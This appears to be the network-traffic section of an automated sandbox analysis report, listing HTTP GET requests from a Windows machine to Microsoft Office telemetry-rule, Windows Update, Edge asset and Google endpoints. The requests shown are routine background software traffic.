Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=S7tRaMZdES+8CC9&MD=GkZEMPXk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
